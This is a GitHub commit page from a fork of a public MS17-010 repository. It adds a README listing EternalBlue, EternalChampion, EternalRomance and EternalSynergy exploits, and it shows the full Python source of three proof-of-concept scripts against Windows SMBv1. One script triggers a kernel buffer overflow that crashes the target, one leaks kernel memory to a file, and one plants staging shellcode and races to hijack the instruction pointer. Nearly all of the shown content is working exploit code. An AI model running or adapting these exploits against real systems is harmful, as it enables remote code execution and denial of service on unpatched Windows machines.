forked from worawit/MS17-010
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
worawit
committed
Jun 19, 2017
1 parent
7a13c01
commit 71d5f52
Showing
19 changed files
with
4,401 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,17 @@ | ||
# MS17-010 | ||
MS17-010 | ||
# Files | ||
|
||
* **BUG.txt** MS17-010 bug detail and some analysis | ||
* **eternalblue_exploit7.py** Eternalblue exploit for windows 7/2008 | ||
* **eternalblue_exploit8.py** Eternalblue exploit for windows 8/2012 x64 | ||
* **eternalblue_poc** Eternalblue PoC for buffer overflow bug | ||
* **eternalchampion_leak.py** Eternalchampion PoC for leaking info part | ||
* **eternalchampion_poc.py** Eternalchampion PoC for controlling RIP | ||
* **eternalchampion_poc2.py** Eternalchampion PoC for getting code execution | ||
* **eternalromance_leak.py** Eternalromance PoC for leaking info part | ||
* **eternalromance_poc.py** Eternalromance PoC for OOB write | ||
* **eternalromance_poc2.py** Eternalromance PoC for controlling transaction which leads to arbitrary read/write | ||
* **eternalsynergy_leak.py** Eternalsynergy PoC for leaking info part | ||
* **infoleak_uninit.py** PoC for leaking info from uninitialized transaction data buffer | ||
* **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs | ||
* **npp_control.py** PoC for controlling nonpaged pool allocation with session setup command | ||
* **zzz_exploit.py** Exploit for Windows7 and later (x64 only and requires accessing to named pipe) |
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
from impacket import smb | ||
from mysmb import MYSMB | ||
from struct import pack | ||
import sys | ||
|
||
''' | ||
PoC: demonstrates how NSA eternalblue triggers the buffer overflow | ||
''' | ||
|
||
USERNAME = '' | ||
PASSWORD = '' | ||
|
||
if len(sys.argv) != 2: | ||
print("{} <ip>".format(sys.argv[0])) | ||
sys.exit(1) | ||
|
||
target = sys.argv[1] | ||
|
||
|
||
conn = MYSMB(target) | ||
conn.login(USERNAME, PASSWORD) | ||
|
||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | ||
conn.set_default_tid(tid) | ||
|
||
# OOB write ~0x8c00 for BSOD | ||
payload = pack('<I', 0x10000) | ||
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004 | ||
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000 | ||
|
||
mid = conn.next_mid() | ||
# NT function can be any | ||
# TRANS2_OPEN2 (0) | ||
conn.send_nt_trans(2, setup=pack('<H', 0), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload)) | ||
i = 1000 | ||
while i < len(payload): | ||
sendSize = min(4096, len(payload) - i) | ||
conn.send_trans2_secondary(mid=mid, data=payload[i:i+sendSize], dataDisplacement=i) | ||
i += sendSize | ||
|
||
conn.recvSMB() | ||
|
||
conn.disconnect_tree(tid) | ||
conn.logoff() | ||
conn.get_socket().close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
#!/usr/bin/python | ||
from impacket import smb | ||
from mysmb import MYSMB | ||
from struct import pack | ||
import sys | ||
|
||
''' | ||
PoC: demonstrates how NSA eternalchampion leaks a transaction struct | ||
The purpose of leak is getting CONNECTION address. | ||
Note: | ||
- this PoC only test against Windows 7 x64 | ||
''' | ||
|
||
USERNAME = '' | ||
PASSWORD = '' | ||
|
||
if len(sys.argv) != 3: | ||
print("{} <ip> <pipe_name>".format(sys.argv[0])) | ||
sys.exit(1) | ||
|
||
target = sys.argv[1] | ||
pipe_name = sys.argv[2] | ||
|
||
conn = MYSMB(target) | ||
|
||
conn.login(USERNAME, PASSWORD, maxBufferSize=512) | ||
|
||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | ||
conn.set_default_tid(tid) | ||
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK | ||
|
||
for i in range(10): | ||
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) | ||
|
||
mid_ntrename = conn.next_mid() | ||
# create NT_TRANS_RENAME (5) request | ||
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48) | ||
# leak 264 bytes | ||
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264) | ||
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ] | ||
|
||
conn.send_raw(req1[:-8]) | ||
conn.send_raw(req1[-8:]+req2+''.join(reqs)) | ||
|
||
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264) | ||
|
||
# no write parameter | ||
open('leak.dat', 'wb').write(data[4:]) | ||
print('All return data is written to leak.dat') | ||
|
||
|
||
conn.close(tid, fid) | ||
conn.disconnect_tree(tid) | ||
conn.logoff() | ||
conn.get_socket().close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
#!/usr/bin/python | ||
from impacket import smb | ||
from mysmb import MYSMB | ||
from struct import pack | ||
import sys | ||
|
||
''' | ||
PoC: demonstrates how NSA eternalchampion controls RIP | ||
Note: | ||
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors | ||
''' | ||
|
||
USERNAME = '' | ||
PASSWORD = '' | ||
|
||
if len(sys.argv) != 2: | ||
print("{} <ip>".format(sys.argv[0])) | ||
sys.exit(1) | ||
|
||
target = sys.argv[1] | ||
|
||
|
||
conn = MYSMB(target) | ||
conn.login(USERNAME, PASSWORD) | ||
|
||
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified | ||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | ||
conn.set_default_tid(tid) | ||
|
||
|
||
def nsa_race(conn, jmp_addr): | ||
setup = pack('<H', 5) # QUERY_PATH_INFO | ||
|
||
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread | ||
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename | ||
mid = conn.next_mid() | ||
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes | ||
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid) | ||
# change infoLevel parameter to SMB_INFO_IS_NAME_VALID | ||
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6)) | ||
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312) | ||
|
||
conn.send_raw(req1+req2+req3*8) | ||
recvPkt = conn.recvSMB() | ||
status = recvPkt.getNTStatus() | ||
if status == 0xc0000022: # ACCESS_DENIED | ||
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID | ||
#print('the race is completely fail') | ||
sys.stdout.write('.') | ||
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST | ||
#print('there is a race') | ||
sys.stdout.write('*') | ||
else: | ||
sys.stdout.write('?') | ||
sys.stdout.flush() | ||
|
||
|
||
def my_race(conn, jmp_addr): | ||
setup = pack('<H', 5) # QUERY_PATH_INFO | ||
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename | ||
|
||
# directly race | ||
for i in range(8): | ||
mid = conn.next_mid() | ||
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid) | ||
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312) | ||
conn.send_raw(req1+req3*11) | ||
for i in range(8): | ||
recvPkt = conn.recvSMB() | ||
if recvPkt.getNTStatus() != 0xc0000010: | ||
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus())) | ||
sys.stdout.write('*') | ||
else: | ||
sys.stdout.write('.') | ||
sys.stdout.flush() | ||
|
||
while True: | ||
# if win a race, saved RIP will be modified to 0x4141414141414141 | ||
nsa_race(conn, 0x4141414141414141) | ||
#my_race(conn, 0x4141414141414141) | ||
|
||
conn.disconnect_tree(tid) | ||
conn.logoff() | ||
conn.get_socket().close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,161 @@ | ||
#!/usr/bin/python | ||
from impacket import smb | ||
from mysmb import MYSMB | ||
from struct import pack, unpack | ||
import sys | ||
|
||
''' | ||
PoC: demonstrates how NSA eternalchampion works | ||
Note: | ||
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors | ||
- no support user authentication | ||
- the NSA eternalchampion need named pipe or share name to leak info with NT_TRANS_RENAME | ||
- the required data for Windows is CONNECTION address. A CONNECTION struct has UNICODE_STRING | ||
which size is controlled by SMB_COM_SESSION_SETUP_ANDX command | ||
''' | ||
|
||
|
||
if len(sys.argv) != 3: | ||
print("{} <ip> <pipe_name>".format(sys.argv[0])) | ||
sys.exit(1) | ||
|
||
target = sys.argv[1] | ||
pipe_name = sys.argv[2] | ||
|
||
# this one must do something to restore execution | ||
# Note: when stagine shellcode is executed, CONNECTION+0x3d0 is at top of stack | ||
staging_sc = '\xcc'*128 | ||
|
||
def login_put_staging_sc(conn, staging_sc, maxBufferSize): | ||
_, flags2 = conn.get_flags() | ||
|
||
# FLAGS2_EXTENDED_SECURITY MUST not be set | ||
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY | ||
|
||
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 | ||
flags2 |= smb.SMB.FLAGS2_UNICODE | ||
conn.set_flags(flags2=flags2) | ||
|
||
pkt = smb.NewSMBPacket() | ||
|
||
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) | ||
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() | ||
sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize | ||
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value | ||
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero | ||
sessionSetup['Parameters']['SessionKey'] = 0 | ||
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session | ||
# UnicodePasswordLen field is in Reserved for extended security format. | ||
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | ||
|
||
# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) | ||
# UNICODE.maxBufferSize: 0x15ff | ||
# after maxBufferSize is padding which is '\x00'*4 | ||
# so code is 'ff 15 00 00 00 00' => call [rip+0] | ||
# after padding is pointer to allocated npp and shellcode there | ||
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*5 + staging_sc + '\x00'*8 | ||
pkt.addCommand(sessionSetup) | ||
|
||
conn.sendSMB(pkt) | ||
recvPkt = conn.recvSMB() | ||
if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX): | ||
print('SMB1 session setup allocate nonpaged pool success') | ||
conn.set_uid(recvPkt['Uid']) | ||
else: | ||
print('SMB1 session setup allocate nonpaged pool failed') | ||
sys.exit() | ||
|
||
|
||
conn = MYSMB(target) | ||
|
||
login_put_staging_sc(conn, staging_sc, 512) | ||
|
||
|
||
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified | ||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | ||
conn.set_default_tid(tid) | ||
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK | ||
|
||
|
||
# ================================ | ||
# leak a transaction | ||
# ================================ | ||
for i in range(10): | ||
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) | ||
|
||
mid_ntrename = conn.next_mid() | ||
# create NT_TRANS_RENAME (5) request | ||
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48) | ||
# leak 264 bytes | ||
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264) | ||
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ] | ||
|
||
conn.send_raw(req1[:-8]) | ||
conn.send_raw(req1[-8:]+req2+''.join(reqs)) | ||
|
||
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264) | ||
leakData = data[0x1c0:] # skip data | ||
# find TRANSACTION struct to get CONNECTION address | ||
pos = data.find('LStr') | ||
leakTrans = data[pos+4+0x18:] | ||
connection_addr = unpack('<Q', leakTrans[0x10:0x18])[0] | ||
print('found CONNECTION address: 0x{:x}'.format(connection_addr)) | ||
|
||
|
||
def nsa_race(conn, jmp_addr): | ||
setup = pack('<H', 5) # QUERY_PATH_INFO | ||
|
||
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread | ||
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename | ||
mid = conn.next_mid() | ||
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes | ||
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid) | ||
# chnage infoLevel to SMB_INFO_IS_NAME_VALID | ||
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6)) | ||
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312) | ||
|
||
conn.send_raw(req1+req2+req3*8) | ||
recvPkt = conn.recvSMB() | ||
status = recvPkt.getNTStatus() | ||
if status == 0xc0000022: # ACCESS_DENIED | ||
#print('the race is completely fail') | ||
sys.stdout.write('.') | ||
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST | ||
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID | ||
#print('there is a race') | ||
sys.stdout.write('*') | ||
else: | ||
sys.stdout.write('?') | ||
sys.stdout.flush() | ||
|
||
|
||
def my_race(conn, jmp_addr): | ||
setup = pack('<H', 5) # QUERY_PATH_INFO | ||
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename | ||
|
||
# directly race | ||
for i in range(8): | ||
mid = conn.next_mid() | ||
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid) | ||
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312) | ||
conn.send_raw(req1+req3*11) | ||
for i in range(8): | ||
recvPkt = conn.recvSMB() | ||
if recvPkt.getNTStatus() != 0xc0000010: | ||
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus())) | ||
sys.stdout.write('*') | ||
else: | ||
sys.stdout.write('.') | ||
sys.stdout.flush() | ||
|
||
# jump to CONNECTION+0x3ca | ||
while True: | ||
# if win a race, saved RIP will be modified | ||
nsa_race(conn, connection_addr+0x3ca) | ||
#my_race(conn, connection_addr+0x3ca) | ||
|
||
|
||
conn.disconnect_tree(tid) | ||
conn.logoff() | ||
conn.get_socket().close() |
Oops, something went wrong.